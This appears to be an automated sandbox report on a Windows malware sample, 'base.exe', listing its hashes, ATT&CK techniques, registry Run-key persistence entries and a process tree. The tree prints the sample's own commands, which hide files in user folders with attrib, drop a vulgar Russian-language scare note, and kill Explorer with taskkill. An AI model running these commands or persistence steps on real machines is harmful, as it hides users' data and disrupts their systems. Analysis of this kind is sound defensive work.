2784260e1a8f9f9c493a3f544b951f7621958c0a96cf3e0aa94dbb8c9c8eb5d0

Analysis

max time kernel
150s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 14:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
base.exe
Size 421KB
Sample260808-rmr5assvgx
SHA256 2784260e1a8f9f9c493a3f544b951f7621958c0a96cf3e0aa94dbb8c9c8eb5d0
MD5 c69dca8b9f451c820b2cbf32f9fe83bc
SHA1 b221d219c322302e112228531691b64d69eddf04
SHA512 b252a3fd4499f2a3168ed3b424fce8c688ffa8a8e6669292b09f3ea38360cf3500e10d7fcecd5093064b57929d0e868b82586791fb2ef8fc124109aae42ae320
SSDEEP 6144:VEhfGkH3dZAmpy4WNRyYKmuNyy6XgMmTIjyzrrGNGylAmOKYIwU4KLgWSCpMW905:K+wdympy7Kvyy6QnFHrX7KYJ
TLSH
T12694CF5433AAC57DCABD13BDE06501060BF07123D183E75C9BECA0E6AE27721A71DA5B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	base.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	base.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	base.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	base.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\base.exe\" -startup"	base.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\base.exe\""	base.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	base.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	base.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	base.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	base.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3336	cmd.exe
5412	cmd.exe
4728	cmd.exe
2324	cmd.exe
4172	cmd.exe
3520	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3704	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2760	base.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	base.exe
Token: SeDebugPrivilege	3704	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2760 wrote to memory of 4728	2760	base.exe	89
PID 2760 wrote to memory of 5412	2760	base.exe	90
PID 2760 wrote to memory of 3336	2760	base.exe	91
PID 2760 wrote to memory of 3520	2760	base.exe	92
PID 2760 wrote to memory of 4172	2760	base.exe	93
PID 2760 wrote to memory of 2324	2760	base.exe	94
PID 2760 wrote to memory of 3704	2760	base.exe	95
PID 3336 wrote to memory of 3284	3336	cmd.exe	114
PID 5412 wrote to memory of 3416	5412	cmd.exe	115
PID 4728 wrote to memory of 4392	4728	cmd.exe	116
PID 3336 wrote to memory of 5744	3336	cmd.exe	117
PID 4172 wrote to memory of 5728	4172	cmd.exe	118
PID 3520 wrote to memory of 1488	3520	cmd.exe	119
PID 2324 wrote to memory of 1196	2324	cmd.exe	120
PID 5412 wrote to memory of 2736	5412	cmd.exe	121
PID 4728 wrote to memory of 5924	4728	cmd.exe	123
PID 2324 wrote to memory of 916	2324	cmd.exe	125
PID 4172 wrote to memory of 4420	4172	cmd.exe	126
PID 3520 wrote to memory of 3012	3520	cmd.exe	127

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3284	attrib.exe
3416	attrib.exe
4392	attrib.exe
5728	attrib.exe
2736	attrib.exe
1196	attrib.exe
3012	attrib.exe
4420	attrib.exe
1488	attrib.exe
5744	attrib.exe
5924	attrib.exe
916	attrib.exe

C:\Users\Admin\AppData\Local\Temp\base.exe
"C:\Users\Admin\AppData\Local\Temp\base.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2760
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Привет! ты попал под атаку cumshot!!!! попытавшися избежать из нее то на твой пк упадет мировая машина!!! что приведет к взрыву компудахтера!!! смирись с потерей компухтера!! а еще помни, тебя снимают, фоткают, и в реальном времени пытаются списывать деньги с карты для онлифанс! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4728
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4392
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5924
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Привет! ты попал под атаку cumshot!!!! попытавшися избежать из нее то на твой пк упадет мировая машина!!! что приведет к взрыву компудахтера!!! смирись с потерей компухтера!! а еще помни, тебя снимают, фоткают, и в реальном времени пытаются списывать деньги с карты для онлифанс! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5412
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3416
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2736
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Привет! ты попал под атаку cumshot!!!! попытавшися избежать из нее то на твой пк упадет мировая машина!!! что приведет к взрыву компудахтера!!! смирись с потерей компухтера!! а еще помни, тебя снимают, фоткают, и в реальном времени пытаются списывать деньги с карты для онлифанс! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3336
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3284
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5744
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Привет! ты попал под атаку cumshot!!!! попытавшися избежать из нее то на твой пк упадет мировая машина!!! что приведет к взрыву компудахтера!!! смирись с потерей компухтера!! а еще помни, тебя снимают, фоткают, и в реальном времени пытаются списывать деньги с карты для онлифанс! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3520
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:1488
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3012
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Привет! ты попал под атаку cumshot!!!! попытавшися избежать из нее то на твой пк упадет мировая машина!!! что приведет к взрыву компудахтера!!! смирись с потерей компухтера!! а еще помни, тебя снимают, фоткают, и в реальном времени пытаются списывать деньги с карты для онлифанс! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4172
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5728
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4420
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Привет! ты попал под атаку cumshot!!!! попытавшися избежать из нее то на твой пк упадет мировая машина!!! что приведет к взрыву компудахтера!!! смирись с потерей компухтера!! а еще помни, тебя снимают, фоткают, и в реальном времени пытаются списывать деньги с карты для онлифанс! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1196
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:916
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3704

C:\Users\Admin\AppData\Local\Temp\base.exe
"C:\Users\Admin\AppData\Local\Temp\base.exe" -startup
1⤵
PID:6116

C:\Users\Admin\AppData\Local\Temp\base.exe
"C:\Users\Admin\AppData\Local\Temp\base.exe"
1⤵
PID:1368

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

info-Locker.txt

Path C:\Users\Admin\Desktop\info-Locker.txt
Size 290B
SHA256 a318b773b06e61107964d794b281fe53c618918a156f39bc8ec07847c0016b56
MD5 f8659904b9cffa3b2755c5044742b433
SHA1 f08460143551f85974c17a0df227a8c4bbe82514
SHA512 f57d3154dab5d72ba63d4fa8aafda05b99fca1b105112e33d78bea7eb165c9b68b8ddb31704ca2d0953c749b8bb9e3f7ce2a64594c0db381a2b2eed93d771ca3
TLSH
T16BD00152CC178C4310000D10EF3D4D485C9DF6100590384734569C3204D1F0D891F5D9
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2760-9-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/2760-23-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/2760-3-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/2760-4-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/2760-5-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/2760-6-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/2760-2-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/2760-1-0x0000000000890000-0x0000000000900000-memory.dmp

Download

memory/2760-7-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/2760-22-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/2760-0-0x00007FFCF55BF000-0x00007FFCF55C0000-memory.dmp

Download

memory/2760-24-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/2760-25-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/2760-26-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download

memory/2760-27-0x00007FFCF5430000-0x00007FFCF5DD4000-memory.dmp

Download